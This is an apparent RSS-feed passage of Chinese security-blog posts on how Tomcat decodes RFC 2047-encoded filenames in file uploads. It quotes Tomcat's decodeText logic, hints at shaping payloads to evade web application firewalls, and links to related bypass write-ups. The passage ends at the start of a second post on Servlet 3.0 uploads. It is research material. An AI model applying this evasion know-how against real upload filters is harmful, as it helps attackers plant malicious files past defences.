src="https://wechat2rss.xlab.app/img-proxy/?k=ab97fcbb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr5UR37BibWIcQ8GS0oIWbUl3Y61l1SyCRNAg6XzzwH0JmIPS0p1nribUTT3wicmb217k2X3eO9icA0WtA%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="background-color: rgb(255, 255, 255);">B：</span></p><p><img class="rich_pages wxw-img" data-ratio="0.6922492401215805" style="width: 761px;height: 527px;" data-type="png" data-w="2632" src="https://wechat2rss.xlab.app/img-proxy/?k=48fb8fed&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr5UR37BibWIcQ8GS0oIWbUl3wxxjuL5iaWNOexkeXLG3zkzB9tUaJNQL3XlLaEJ5MtXXbp9luWKqr8Q%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="background-color: rgb(255, 255, 255);">文档中的</span><span style="color: rgb(0, 56, 132);">Section 5</span><span style="background-color: rgb(255, 255, 255);">还有一些比较有意思的格式：</span></p></article><p><img class="rich_pages wxw-img" data-ratio="0.6388499298737728" style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-align: left;text-indent: 0px;text-transform: none;white-space: pre-wrap;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;width: 761px;height: 486px;" data-type="png" data-w="2852" src="https://wechat2rss.xlab.app/img-proxy/?k=e782c026&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr5UR37BibWIcQ8GS0oIWbUl3CcQ6PocQBXFknVPC8cIsaPvmTbOFJTVcRiazXByaeM0EvHoAAhrazzg%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -webkit-standard;font-size: 14px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-align: left;text-indent: 0px;text-transform: none;white-space: pre-wrap;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;display: inline !important;float: none;"><img class="rich_pages wxw-img" data-ratio="0.6922492401215805" style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-align: left;text-indent: 0px;text-transform: none;white-space: pre-wrap;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;width: 761px;height: 527px;" data-type="png" data-w="2632" src="https://wechat2rss.xlab.app/img-proxy/?k=e423b4a4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr5UR37BibWIcQ8GS0oIWbUl3yKmrUsiaRV4yiamYiakmowcrs9MaQgXiatKdeibn9icTDs2RKhicibeLUsxr5A%2F640%3Fwx_fmt%3Dpng"/><span style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -webkit-standard;font-size: 14px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-align: left;text-indent: 0px;text-transform: none;white-space: pre-wrap;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;display: inline !important;float: none;"></span></span></p><article data-content="[{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;2Vx4-1655709573888&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;8gc3-1655709573889&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;关键逻辑如下：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}}]" style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;"><p>关键逻辑如下：</p></article><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="java"><code><span class="code-snippet_outer"><span class="code-snippet__function"><span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">static</span> String <span class="code-snippet__title">decodeText</span><span class="code-snippet__params">(String text)</span> <span class="code-snippet__keyword">throws</span> UnsupportedEncodingException </span>{</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">if</span> (!text.contains(<span class="code-snippet__string">&#34;=?&#34;</span>)) {</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">return</span> text;</span></code><code><span class="code-snippet_outer">    } <span class="code-snippet__keyword">else</span> {</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">int</span> offset = <span class="code-snippet__number">0</span>;</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">int</span> endOffset = text.length();</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">int</span> startWhiteSpace = -<span class="code-snippet__number">1</span>;</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">int</span> endWhiteSpace = -<span class="code-snippet__number">1</span>;</span></code><code><span class="code-snippet_outer">        StringBuilder decodedText = <span class="code-snippet__keyword">new</span> StringBuilder(text.length());</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">boolean</span> previousTokenEncoded = <span class="code-snippet__keyword">false</span>;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">while</span>(<span class="code-snippet__keyword">true</span>) {</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">while</span>(<span class="code-snippet__keyword">true</span>) {</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">while</span>(offset &lt; endOffset) {</span></code><code><span class="code-snippet_outer">                    <span class="code-snippet__keyword">char</span> ch = text.charAt(offset);</span></code><code><span class="code-snippet_outer">                    <span class="code-snippet__keyword">if</span> (<span class="code-snippet__string">&#34; \t\r\n&#34;</span>.indexOf(ch) != -<span class="code-snippet__number">1</span>) {</span></code><code><span class="code-snippet_outer">                        <span class="code-snippet__keyword">for</span>(startWhiteSpace = offset; offset &lt; endOffset; ++offset) {</span></code><code><span class="code-snippet_outer">                            ch = text.charAt(offset);</span></code><code><span class="code-snippet_outer">                            <span class="code-snippet__keyword">if</span> (<span class="code-snippet__string">&#34; \t\r\n&#34;</span>.indexOf(ch) == -<span class="code-snippet__number">1</span>) {</span></code><code><span class="code-snippet_outer">                                endWhiteSpace = offset;</span></code><code><span class="code-snippet_outer">                                <span class="code-snippet__keyword">break</span>;</span></code><code><span class="code-snippet_outer">                            }</span></code><code><span class="code-snippet_outer">                        }</span></code><code><span class="code-snippet_outer">                    } <span class="code-snippet__keyword">else</span> {</span></code><code><span class="code-snippet_outer">                        <span class="code-snippet__keyword">int</span> wordStart;</span></code><code><span class="code-snippet_outer">                        <span class="code-snippet__keyword">for</span>(wordStart = offset; offset &lt; endOffset; ++offset) {</span></code><code><span class="code-snippet_outer">                            ch = text.charAt(offset);</span></code><code><span class="code-snippet_outer">                            <span class="code-snippet__keyword">if</span> (<span class="code-snippet__string">&#34; \t\r\n&#34;</span>.indexOf(ch) != -<span class="code-snippet__number">1</span>) {</span></code><code><span class="code-snippet_outer">                                <span class="code-snippet__keyword">break</span>;</span></code><code><span class="code-snippet_outer">                            }</span></code><code><span class="code-snippet_outer">                        }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">                        String word = text.substring(wordStart, offset);</span></code><code><span class="code-snippet_outer">                        <span class="code-snippet__keyword">if</span> (word.startsWith(<span class="code-snippet__string">&#34;=?&#34;</span>)) {</span></code><code><span class="code-snippet_outer">                            <span class="code-snippet__keyword">try</span> {</span></code><code><span class="code-snippet_outer">                                String decodedWord = decodeWord(word);</span></code><code><span class="code-snippet_outer">                                <span class="code-snippet__keyword">if</span> (!previousTokenEncoded &amp;&amp; startWhiteSpace != -<span class="code-snippet__number">1</span>) {</span></code><code><span class="code-snippet_outer">                                    decodedText.append(text, startWhiteSpace, endWhiteSpace);</span></code><code><span class="code-snippet_outer">                                    startWhiteSpace = -<span class="code-snippet__number">1</span>;</span></code><code><span class="code-snippet_outer">                                }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">                                previousTokenEncoded = <span class="code-snippet__keyword">true</span>;</span></code><code><span class="code-snippet_outer">                                decodedText.append(decodedWord);</span></code><code><span class="code-snippet_outer">                                <span class="code-snippet__keyword">continue</span>;</span></code><code><span class="code-snippet_outer">                            } <span class="code-snippet__keyword">catch</span> (ParseException var11) {</span></code><code><span class="code-snippet_outer">                            }</span></code><code><span class="code-snippet_outer">                        }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">                        <span class="code-snippet__keyword">if</span> (startWhiteSpace != -<span class="code-snippet__number">1</span>) {</span></code><code><span class="code-snippet_outer">                            decodedText.append(text, startWhiteSpace, endWhiteSpace);</span></code><code><span class="code-snippet_outer">                            startWhiteSpace = -<span class="code-snippet__number">1</span>;</span></code><code><span class="code-snippet_outer">                        }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">                        previousTokenEncoded = <span class="code-snippet__keyword">false</span>;</span></code><code><span class="code-snippet_outer">                        decodedText.append(word);</span></code><code><span class="code-snippet_outer">                    }</span></code><code><span class="code-snippet_outer">                }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">return</span> decodedText.toString();</span></code><code><span class="code-snippet_outer">            }</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">}</span></code></pre></section><article data-content="[{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Dch9-1655709561891&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;uGgz-1655709561886&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;payload格式感觉可以玩出花来...这里暂时先不做深究。&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;backgroundColor&#34;,&#34;value&#34;:&#34;rgb(255, 255, 255)&#34;}]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;PEvt-1655716517467&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;gQOD-1655716517462&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;支持编码：&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;backgroundColor&#34;,&#34;value&#34;:&#34;rgb(255, 255, 255)&#34;}]}]}],&#34;state&#34;:{}}]" style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;"><p><span style="background-color: rgb(255, 255, 255);">payload格式配合上一篇的</span><span style="background-color: rgb(255, 255, 255);">unquote函数</span><span style="background-color: rgb(255, 255, 255);">感觉可以玩出花来...这里暂时先不做深究。</span></p><article data-content="[{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;llfz-1655279360700&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;DuIs-1655279360698&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;unquote&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;backgroundColor&#34;,&#34;value&#34;:&#34;rgb(255, 255, 255)&#34;}]}]}],&#34;state&#34;:{}}]" style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;"><p><span style="background-color: rgb(255, 255, 255);"></span></p></article><p><span style="background-color: rgb(255, 255, 255);">支持编码：</span></p></article><p><img class="rich_pages wxw-img" data-ratio="0.6341463414634146" style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-align: left;text-indent: 0px;text-transform: none;white-space: pre-wrap;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;width: 761px;height: 483px;" data-type="png" data-w="2952" src="https://wechat2rss.xlab.app/img-proxy/?k=ab43a3af&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr5UR37BibWIcQ8GS0oIWbUl3oulfJhawc9T03oX0woE2TdibINc7kpGNzaNWibiaDwubiceTNznqWjag2A%2F640%3Fwx_fmt%3Dpng"/><span style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -webkit-standard;font-size: 14px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-align: left;text-indent: 0px;text-transform: none;white-space: pre-wrap;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;display: inline !important;float: none;"></span><span style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -webkit-standard;font-size: 14px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-align: left;text-indent: 0px;text-transform: none;white-space: pre-wrap;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;display: inline !important;float: none;"></span></p><article data-content="[{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;gYi4-1655717045164&#34;,&#34;name&#34;:&#34;heading&#34;,&#34;data&#34;:{&#34;level&#34;:&#34;h2&#34;,&#34;style&#34;:{}},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;1ho1-1655717045162&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;总结&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;backgroundColor&#34;,&#34;value&#34;:&#34;rgb(255, 255, 255)&#34;},{&#34;type&#34;:&#34;bold&#34;},{&#34;type&#34;:&#34;fontSize&#34;,&#34;value&#34;:22}]}]}]}]" style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;"><p><span style="background-color: rgb(255, 255, 255);font-weight: bold;font-size: 22px;">总结</span></p></article><p>大概画了张图：</p><p><img class="rich_pages wxw-img" data-ratio="0.6399286987522281" style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 14px;text-align: left;white-space: pre-wrap;width: 761px;height: 487px;" data-type="png" data-w="2244" src="https://wechat2rss.xlab.app/img-proxy/?k=ce71287b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr5UR37BibWIcQ8GS0oIWbUl38N57zbSAOh8hTNrQia2Q4WzuUHDibzfAeI1mtEw7b4eLqGfeZpdD61LQ%2F640%3Fwx_fmt%3Dpng"/></p><article data-content="[{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;YXnt-1655715323662&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;JcC3-1655715323660&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;参考：&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;backgroundColor&#34;,&#34;value&#34;:&#34;rgb(255, 255, 255)&#34;}]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ToAI-1655737307634&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;style&#34;:{}},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;bDKx-1655737307631&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]},{&#34;type&#34;:&#34;inline&#34;,&#34;id&#34;:&#34;OHeg-1655737317485&#34;,&#34;name&#34;:&#34;link&#34;,&#34;data&#34;:{&#34;href&#34;:&#34;https://y4tacker.github.io/2022/06/19/year/2022/6/&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Cvue-1655737317484&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;https://y4tacker.github.io/2022/06/19/year/2022/6/&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;7bkS-1655737317497&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;探寻Tomcat文件上传流量层面绕waf新姿势/#深入&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;zOpo-1655737318232&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;style&#34;:{}},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Sr2S-1655737318230&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]},{&#34;type&#34;:&#34;inline&#34;,&#34;id&#34;:&#34;a4wG-1655737328186&#34;,&#34;name&#34;:&#34;link&#34;,&#34;data&#34;:{&#34;href&#34;:&#34;https://y4tacker.github.io/2022/02/25/year/2022/2/Java&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;0wUD-1655737328185&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;https://y4tacker.github.io/2022/02/25/year/2022/2/Java&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;TLcK-1655737328198&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;文件上传大杀器-绕waf(针对commons-fileupload组件)/#成功的绕waf点&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;P0un-1655737328657&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;style&#34;:{}},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;E6WR-1655737328655&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]},{&#34;type&#34;:&#34;inline&#34;,&#34;id&#34;:&#34;jwz0-1655737336463&#34;,&#34;name&#34;:&#34;link&#34;,&#34;data&#34;:{&#34;href&#34;:&#34;https://datatracker.ietf.org/doc/html/rfc2231#section-4.1&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;CSGI-1655737336462&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;https://datatracker.ietf.org/doc/html/rfc2231#section-4.1&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Dqn5-1655737336473&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;zyF5-1655737336912&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;style&#34;:{}},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ecm0-1655737336910&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]},{&#34;type&#34;:&#34;inline&#34;,&#34;id&#34;:&#34;8eAb-1655737342027&#34;,&#34;name&#34;:&#34;link&#34;,&#34;data&#34;:{&#34;href&#34;:&#34;https://datatracker.ietf.org/doc/html/rfc2047#section-4&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;N9Me-1655737342026&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;https://datatracker.ietf.org/doc/html/rfc2047#section-4&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;t5Rk-1655737342037&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}}]" style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;"><p><span style="background-color: rgb(255, 255, 255);">spring中的处理逻辑略有不同，详见Y4tacker师傅的文章：</span></p><p><span style="color: rgb(0, 56, 132);"><a href="https://y4tacker.github.io/2022/06/19/year/2022/6/" target="_blank">https://y4tacker.github.io/2022/06/19/year/2022/6/</a></span>探寻Tomcat文件上传流量层面绕waf新姿势/#深入</p><p><span style="color: rgb(0, 56, 132);"><a href="https://y4tacker.github.io/2022/02/25/year/2022/2/Java" target="_blank">https://y4tacker.github.io/2022/02/25/year/2022/2/Java</a></span>文件上传大杀器-绕waf(针对commons-fileupload组件)/#成功的绕waf点</p><p><span style="color: rgb(0, 56, 132);"><a href="https://datatracker.ietf.org/doc/html/rfc2231#section-4.1" target="_blank">https://datatracker.ietf.org/doc/html/rfc2231#section-4.1</a></span></p><p><span style="color: rgb(0, 56, 132);"><a href="https://datatracker.ietf.org/doc/html/rfc2047#section-4" target="_blank">https://datatracker.ietf.org/doc/html/rfc2047#section-4</a></span></p></article>



<p><a href="2247483715">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=696a6a79&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg2MjgxOTc4MA%3D%3D%26mid%3D2247483715%26idx%3D1%26sn%3Defc5e005268533f36b7cc1c31770b36d%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Mon, 20 Jun 2022 23:25:00 +0800</pubDate>
    </item>
    <item>
      <title>Tomcat Servlet 3.0 upload 小case</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg2MjgxOTc4MA==&amp;mid=2247483691&amp;idx=1&amp;sn=9d1f70ec8bf9476e134b4d591873a89e</link>
      <description></description>
      <content:encoded><![CDATA[<p>
原创 <span>深蓝</span> <span>2022-06-18 18:29</span> <span style="display: inline-block;">四川</span>
</p>

<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=3ce9fa96&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FYOLztAD7Qr5qZdUm3ADrphNkLWck16uqKHxeRqBIj1BXfPbdFQQ0CTnYRZjvD6gdSvYHnGxWQ7WqjTGiakbLSaw%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<article data-content="[{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;3060-1621846615933&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;p5PQ-1621846617594&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;fontSize&#34;,&#34;value&#34;:14},{&#34;type&#34;:&#34;color&#34;,&#34;value&#34;:&#34;#000000&#34;}]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;uAP7-1655278713699&#34;,&#34;name&#34;:&#34;quote&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;yitG-1655278702141&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;UtCW-1655278702139&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;Servlet3.0 新增了对文件上传请求解析的支持，&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;backgroundColor&#34;,&#34;value&#34;:&#34;rgb(255, 255, 255)&#34;},{&#34;type&#34;:&#34;color&#34;,&#34;value&#34;:&#34;#000000&#34;}]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;FAfl-1655278666310&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;eR3q-1655278666309&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;javax.servlet.http.HttpServletRequest#getParts，使用&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;backgroundColor&#34;,&#34;value&#34;:&#34;rgb(255, 255, 255)&#34;},{&#34;type&#34;:&#34;color&#34;,&#34;value&#34;:&#34;#000000&#34;}]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;4Svr-1655278666312&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;I5Bv-1655278666311&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;request.getParts();即可获取文件上传包解析后的结果，从此不再需要使用第三方jar来处理文件上传请求了。&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;backgroundColor&#34;,&#34;value&#34;:&#34;rgb(255, 255, 255)&#34;},{&#34;type&#34;:&#34;color&#34;,&#34;value&#34;:&#34;#000000&#34;}]}]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ucfe-1655278715355&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;l22k-1655278715352&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;参考园长&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;backgroundColor&#34;,&#34;value&#34;:&#34;rgb(255, 255, 255)&#34;}]}]},{&#34;type&#34;:&#34;inline&#34;,&#34;id&#34;:&#34;TAtB-1655278731062&#34;,&#34;name&#34;:&#34;link&#34;,&#34;data&#34;:{&#34;href&#34;:&#34;https://javasec.org/java-vuls/FileUpload.html&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;2tvn-1655278731061&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;https://javasec.org/java-vuls/FileUpload.html&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;69DN-1655278731070&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;backgroundColor&#34;,&#34;value&#34;:&#34;rgb(255, 255, 255)&#34;}]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;8xZS-1655278731730&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ygGN-1655278731729&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;backgroundColor&#34;,&#34;value&#34;:&#34;rgb(255, 255, 255)&#34;}]}]}],&#34;state&#34;:{}}]" style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;"><p><span style="font-size: 14px;">前段时间听园长和su18师傅在群里谈起，Tomcat Servlet 